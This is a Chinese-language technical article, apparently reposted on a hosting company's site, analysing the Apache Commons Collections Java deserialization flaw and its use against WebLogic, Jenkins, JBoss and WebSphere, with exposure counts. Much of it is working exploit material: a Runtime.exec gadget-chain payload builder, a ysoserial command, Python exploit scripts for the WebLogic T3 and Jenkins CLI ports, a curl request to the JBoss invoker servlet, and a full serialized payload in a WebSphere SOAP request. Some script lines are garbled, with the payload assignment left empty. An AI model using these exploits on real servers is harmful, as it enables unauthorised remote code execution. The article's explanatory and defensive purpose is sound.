您好,歡迎進(jìn)入銳速云官網(wǎng)!
售后熱線:4006-5050-10 QQ客服:2852917158 登錄 注冊(cè)
2015年11月6日,F(xiàn)oxGlove Security安全團(tuán)隊(duì)的@breenmachine 發(fā)布的一篇博客[3]中介紹了如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應(yīng)用,實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
然而事實(shí)上,博客作者并不是漏洞發(fā)現(xiàn)者。博客中提到,早在2015年的1月28號(hào),Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個(gè)報(bào)告[5],報(bào)告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個(gè)常用的Java庫(kù)來實(shí)現(xiàn)任意代碼執(zhí)行,當(dāng)時(shí)并沒有引起太大的關(guān)注,但是在博主看來,這是2015年最被低估的漏洞。
確實(shí),Apache Commons Collections這樣的基礎(chǔ)庫(kù)非常多的Java應(yīng)用都在用,一旦編程人員誤用了反序列化這一機(jī)制,使得用戶輸入可以直接被反序列化,就能導(dǎo)致任意代碼執(zhí)行,這是一個(gè)極其嚴(yán)重的問題,博客中提到的WebLogic等存在此問題的應(yīng)用可能只是冰山一角。
雖然從@gebl和@frohoff的報(bào)告到現(xiàn)在已經(jīng)過去了將近一年,但是@breenmachine的博客中提到的廠商也依然沒有修復(fù),而且國(guó)內(nèi)的技術(shù)人員對(duì)這個(gè)問題的關(guān)注依然較少。為了幫助大家更好的理解它,盡快避免和修復(fù)這些問題,本文對(duì)此做了一個(gè)深入的漏洞原理和利用分析,最后對(duì)上面提到的這些受影響的應(yīng)用,在全球范圍內(nèi)做一個(gè)大概的統(tǒng)計(jì)。
序列化就是把對(duì)象轉(zhuǎn)換成字節(jié)流,便于保存在內(nèi)存、文件、數(shù)據(jù)庫(kù)中;反序列化即逆過程,由字節(jié)流還原成對(duì)象。Java中的ObjectOutputStream類的writeObject()方法可以實(shí)現(xiàn)序列化,類ObjectInputStream類的readObject()方法用于反序列化。下面是將字符串對(duì)象先進(jìn)行序列化,存儲(chǔ)到本地文件,然后再通過反序列化進(jìn)行恢復(fù)的樣例代碼:
public static void main(String args[]) throws Exception {
String obj = "hello world!"; // 將序列化對(duì)象寫入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close(); // 從文件object.db中讀取數(shù)據(jù)
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis); // 通過反序列化恢復(fù)對(duì)象obj
String obj2 = (String)ois.readObject();
ois.close();
}問題在于,如果Java應(yīng)用對(duì)用戶輸入,即不可信數(shù)據(jù)做了反序列化處理,那么攻擊者可以通過構(gòu)造惡意輸入,讓反序列化產(chǎn)生非預(yù)期的對(duì)象,非預(yù)期的對(duì)象在產(chǎn)生過程中就有可能帶來任意代碼執(zhí)行。
所以這個(gè)問題的根源在于類ObjectInputStream在反序列化時(shí),沒有對(duì)生成的對(duì)象的類型做限制;假若反序列化可以設(shè)置Java類型的白名單,那么問題的影響就小了很多。
反序列化問題由來已久,且并非Java語言特有,在其他語言例如PHP和Python中也有相似的問題。@gebl和@frohoff的報(bào)告中所指出的并不是反序列化這個(gè)問題,而是一些公用庫(kù),例如Apache Commons Collections中實(shí)現(xiàn)的一些類可以被反序列化用來實(shí)現(xiàn)任意代碼執(zhí)行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應(yīng)用的反序列化漏洞能夠得以利用,就是依靠了Apache Commons Collections。這種庫(kù)的存在極大地提升了反序列化問題的嚴(yán)重程度,可以比作在開啟了ASLR地址隨機(jī)化防御的系統(tǒng)中,出現(xiàn)了一個(gè)加載地址固定的共享庫(kù),或者類似twitter上的評(píng)論中的比喻:

@breenmachine的博客中將漏洞歸咎于Apache Commons Collections這個(gè)庫(kù),存在一定的誤解。
參考Matthias Kaiser在11月份的報(bào)告[1],我們以Apache Commons Collections 3為例,來解釋如何構(gòu)造對(duì)象,能夠讓程序在反序列化,即調(diào)用readObject()時(shí),就能直接實(shí)現(xiàn)任意代碼執(zhí)行。
Map類是存儲(chǔ)鍵值對(duì)的數(shù)據(jù)結(jié)構(gòu),Apache Commons Collections中實(shí)現(xiàn)了類TransformedMap,用來對(duì)Map進(jìn)行某種變換,只要調(diào)用decorate()函數(shù),傳入key和value的變換函數(shù)Transformer,即可從任意Map對(duì)象生成相應(yīng)的TransformedMap,decorate()函數(shù)如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);
}Transformer是一個(gè)接口,其中定義的transform()函數(shù)用來將一個(gè)對(duì)象轉(zhuǎn)換成另一個(gè)對(duì)象。如下所示:
public interface Transformer { public Object transform(Object input);
}當(dāng)Map中的任意項(xiàng)的Key或者Value被修改,相應(yīng)的Transformer就會(huì)被調(diào)用。除此以外,多個(gè)Transformer還能串起來,形成ChainedTransformer。
Apache Commons Collections中已經(jīng)實(shí)現(xiàn)了一些常見的Transformer,其中有一個(gè)可以通過調(diào)用Java的反射機(jī)制來調(diào)用任意函數(shù),叫做InvokerTransformer,代碼如下:
public class InvokerTransformer implements Transformer, Serializable {... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} public Object transform(Object input) { if (input == null) { return null;
} try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}只需要傳入方法名、參數(shù)類型和參數(shù),即可調(diào)用任意函數(shù)。因此要想任意代碼執(zhí)行,我們可以首先構(gòu)造一個(gè)Map和一個(gè)能夠執(zhí)行代碼的ChainedTransformer,以此生成一個(gè)TransformedMap,然后想辦法去觸發(fā)Map中的MapEntry產(chǎn)生修改(例如setValue()函數(shù)),即可觸發(fā)我們構(gòu)造的Transformer。
測(cè)試代碼如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}當(dāng)上面的代碼運(yùn)行到setValue()時(shí),就會(huì)觸發(fā)ChainedTransformer中的一系列變換函數(shù):首先通過ConstantTransformer獲得Runtime類,進(jìn)一步通過反射調(diào)用getMethod找到invoke函數(shù),最后再運(yùn)行命令calc.exe。
但是目前的構(gòu)造還需要依賴于觸發(fā)Map中某一項(xiàng)去調(diào)用setValue(),我們需要想辦法通過readObject()直接觸發(fā)。
我們觀察到j(luò)ava運(yùn)行庫(kù)中有這樣一個(gè)類AnnotationInvocationHandler,這個(gè)類有一個(gè)成員變量memberValues是Map類型,如下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues;
}
...更令人驚喜的是,AnnotationInvocationHandler的readObject()函數(shù)中對(duì)memberValues的每一項(xiàng)調(diào)用了setValue()函數(shù),如下所示:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null; try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此處觸發(fā)一些列的Transformer
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}因此,我們只需要使用前面構(gòu)造的Map來構(gòu)造AnnotationInvocationHandler,進(jìn)行序列化,當(dāng)觸發(fā)readObject()反序列化的時(shí)候,就能實(shí)現(xiàn)命令執(zhí)行。另外需要注意的是,想要在調(diào)用未包含的package中的構(gòu)造函數(shù),我們必須通過反射的方式,綜合生成任意代碼執(zhí)行的payload的代碼如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}以上解釋了如何通過Apache Commons Collections 3這個(gè)庫(kù)中的代碼,來構(gòu)造序列化對(duì)象,使得程序在反序列化時(shí)可以立即實(shí)現(xiàn)任意代碼執(zhí)行。
我們可以直接使用工具ysoserial[2][5]來生成payload,當(dāng)中包含了4種通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目標(biāo)應(yīng)用的Class Path中包含這些庫(kù),ysoserial生成的payload即可讓readObject()實(shí)現(xiàn)任意命令執(zhí)行。
ysoserial當(dāng)中針對(duì)Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer來構(gòu)造的,而在觸發(fā)時(shí),并沒有采用上文介紹的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相關(guān)代碼來實(shí)現(xiàn)觸發(fā)。此處不再做深入分析,有興趣的讀者可以參考ysoserial的源碼。
首先拿到一個(gè)Java應(yīng)用,需要找到一個(gè)接受外部輸入的序列化對(duì)象的接收點(diǎn),即反序列化漏洞的觸發(fā)點(diǎn)。我們可以通過審計(jì)源碼中對(duì)反序列化函數(shù)的調(diào)用(例如readObject())來尋找,也可以直接通過對(duì)應(yīng)用交互流量進(jìn)行抓包,查看流量中是否包含java序列化數(shù)據(jù)來判斷,java序列化數(shù)據(jù)的特征為以標(biāo)記(ac ed 00 05)開頭。
確定了反序列化輸入點(diǎn)后,再考察應(yīng)用的Class Path中是否包含Apache Commons Collections庫(kù)(ysoserial所支持的其他庫(kù)亦可),如果是,就可以使用ysoserial來生成反序列化的payload,指定庫(kù)名和想要執(zhí)行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通過先前找到的傳入對(duì)象方式進(jìn)行對(duì)象注入,數(shù)據(jù)中載入payload,觸發(fā)受影響應(yīng)用中ObjectInputStream的反序列化操作,隨后通過反射調(diào)用Runtime.getRunTime.exec即可完成利用。
參照[3]中的方法,對(duì)安裝包文件grep受影響的類InvokerTransformer:
root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接著通過尋找接收外部輸入的點(diǎn),來讓我們發(fā)送序列化對(duì)象。
WebLogic外部只開了一個(gè)7001端口,這個(gè)端口接受HTTP,T3,SNMP協(xié)議,判斷協(xié)議類型后再把數(shù)據(jù)路由到內(nèi)部正確的位置,通過在server上抓包,發(fā)現(xiàn)走T3協(xié)議時(shí)攜帶了java序列化對(duì)象,所以我們只用把這個(gè)包文從序列化開始的標(biāo)記(ac ed 00 05)后加入payload,重放這個(gè)數(shù)據(jù),完成利用。
以下是breenmachine的完整利用腳本:
#!/usr/bin/pythonimport socketimport sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))print 'connecting to %s port %s' % server_address
sock.connect(server_address)# Send headersheaders='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload=''print 'sending payload...''''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''sock.send(payload)在weblogic的利用中,有個(gè)小坑是不能破壞原始T3協(xié)議數(shù)據(jù)中包裝的java對(duì)象。
Jenkins是一個(gè)非常流行的CI工具,在很多企業(yè)的內(nèi)網(wǎng)中都部署了這個(gè)系統(tǒng),這個(gè)系統(tǒng)常常和企業(yè)的代碼相關(guān)聯(lián),這次也受到了Java反序列化漏洞的影響,非常危險(xiǎn)。
同樣,通過grep受影響的類InvokerTransformer
root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches
在開放的端口上抓包,定位到Jeenkins的CLI包文中的序列化開始標(biāo)記(rO0)。 在發(fā)送CLI的第一個(gè)包文后:
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c00000010 6f 6e 6e 65 63 74 onnect
在標(biāo)記位的地方將base64處理過的payload修改覆蓋原始包文中的序列化對(duì)象,發(fā)包后,完成利用。這里給出一個(gè)演示視頻:
以下是@breenmachine的完整利用腳本:
#!/usr/bin/python#usage: ./jenkins.py host port /path/to/payloadimport socketimport sys
import requests
import base64
host = sys.argv[1]
port = sys.argv[2]#Query Jenkins over HTTP to find what port the CLI listener is onr = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])#Open a socket to the CLI portsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)print 'connecting to %s port %s' % server_address
sock.connect(server_address)# Send headersheaders='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'print 'sending "%s"' % headers
sock.send(headers)
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''print 'sending payload...''''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''sock.send(payload)Jboss受影響的情況就比之前Jenkins遜色不少,正如之前所說,要成功利用必須要找到程序接受外部輸入的點(diǎn),而此處的利用需要/invoker/jmx的支持,大部分情況下的實(shí)際場(chǎng)景,jboss都刪除了jmx,所以讓此處的利用大打折扣。
分析流程和之前一樣,只不過此處接受的點(diǎn)在jmx上,所以通過的協(xié)議也和前兩個(gè)不同,是HTTP協(xié)議,不再贅述,詳細(xì)的jboss分析可以參看Exploit – JBoss。
利用如下:
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet
也可以看breenmachine給出的http請(qǐng)求報(bào)文:
POST /invoker/JMXInvokerServlet HTTP/1.1Host: 172.17.0.2:8080Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue Content-Length: 1434payload

WebSphere的利用相比較之前幾個(gè)case就非常粗暴簡(jiǎn)單了,可惜的是很少會(huì)暴露在公網(wǎng)。
找到受影響的lib的位置。
root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查看端口開放情況后發(fā)現(xiàn)WebSphere默認(rèn)起了10個(gè)端口監(jiān)聽所有接口,通過burp suite看到在請(qǐng)求websphere默認(rèn)端口8880上有一個(gè)POST的請(qǐng)求,body中帶有base64處理后的java序列化對(duì)象,同樣的,標(biāo)記位置仍然是"rO0",我們將生成的payload做base64處理后覆蓋之前的序列化對(duì)象即可利用。

POST / HTTP/1.0Host: 127.0.0.1:8880Content-Type: text/xml; charset=utf-8Content-Length: 2646SOAPAction: "urn:AdminService"<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"><LoginMethod>BasicAuth</LoginMethod></SOAP-ENV:Header><SOAP-ENV:Body><ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname><attribute xsi:type="xsd:string">ringBufferSize</attribute></ns1:getAttribute></SOAP-ENV:Body></SOAP-ENV:Envelope>
因?yàn)檫@個(gè)安全問題的根源在于ObjectInputStream處理反序列化時(shí)接受外部輸入,而又由于其他類似InvokerTransformer的類的構(gòu)造函數(shù)被調(diào)用,從而造成執(zhí)行,而InvokerTransformer方便的提供了根據(jù)外部輸入類名函數(shù)名反射執(zhí)行的作用,所以造成整個(gè)程序RCE。
所以該問題并不是像其他一些語言u(píng)nserialize函數(shù)本身存在漏洞,而是在應(yīng)用本身實(shí)現(xiàn)的方式上存在缺陷,導(dǎo)致應(yīng)用受到RCE的影響,開個(gè)腦洞引申一下,可以很明了的發(fā)現(xiàn),遠(yuǎn)遠(yuǎn)不止breenmachine所指出的這幾個(gè)流行web server,更可能影響更多使用了commons-collections,并且觸發(fā)ObjectInputStream反序列化操作的應(yīng)用,如一些java開發(fā)的CMS,中間件等等,甚至不僅僅是PC端,移動(dòng)端如Android的很多app都可能受到該問題影響。
通過簡(jiǎn)單的全網(wǎng)分析和POC驗(yàn)證。
Jenkins收到該漏洞影響較大,在自測(cè)中,全球暴露在公網(wǎng)的11059臺(tái)均受到該問題影響,zoomeye的公開數(shù)據(jù)中再測(cè)試后有12493受到該漏洞影響,shadon的公開數(shù)據(jù)中16368臺(tái)jenkins暴露公網(wǎng)可能受到影響(未復(fù)測(cè)shadon數(shù)據(jù))。
Weblogic因?yàn)楣_到公網(wǎng)的數(shù)據(jù)較少,所以受影響面也稍微少一些,在自測(cè)中,全球486臺(tái)均受到該問題影響,zoomeye的公開數(shù)據(jù)中再測(cè)試后有201臺(tái)收到該漏洞影響,shadon的公開數(shù)據(jù)中806 臺(tái)weblogic可能受到影響(未復(fù)測(cè)shadon數(shù)據(jù))。
Jboss因?yàn)樾枰?invoker/JMXInvokerServlet的支持,所以受影響面稍小(但我們并未具體檢測(cè)jboss中沒有刪除/invoker/JMXInvokerServlet的數(shù)據(jù)),在自測(cè)中,全球29194臺(tái)jboss暴露在公網(wǎng),但由于大部分jboss都刪除了jmx,所以真正受到影響的覆蓋面并不廣,zoomeye的公開數(shù)據(jù)中有7770臺(tái)jboss暴露在公網(wǎng),shadon的公開數(shù)據(jù)中46317臺(tái)jboss暴露在公網(wǎng)。
WebSphere在自測(cè)中,全球暴露在公網(wǎng)的2076臺(tái)均受到該問題影響,zoomeye的公開數(shù)據(jù)中再測(cè)試后仍有4511臺(tái)websphere受到影響,shadon的公開數(shù)據(jù)中5537 臺(tái)websphere可能受到影響(未復(fù)測(cè)shadon數(shù)據(jù))。
粵公網(wǎng)安備 44030902000612號(hào)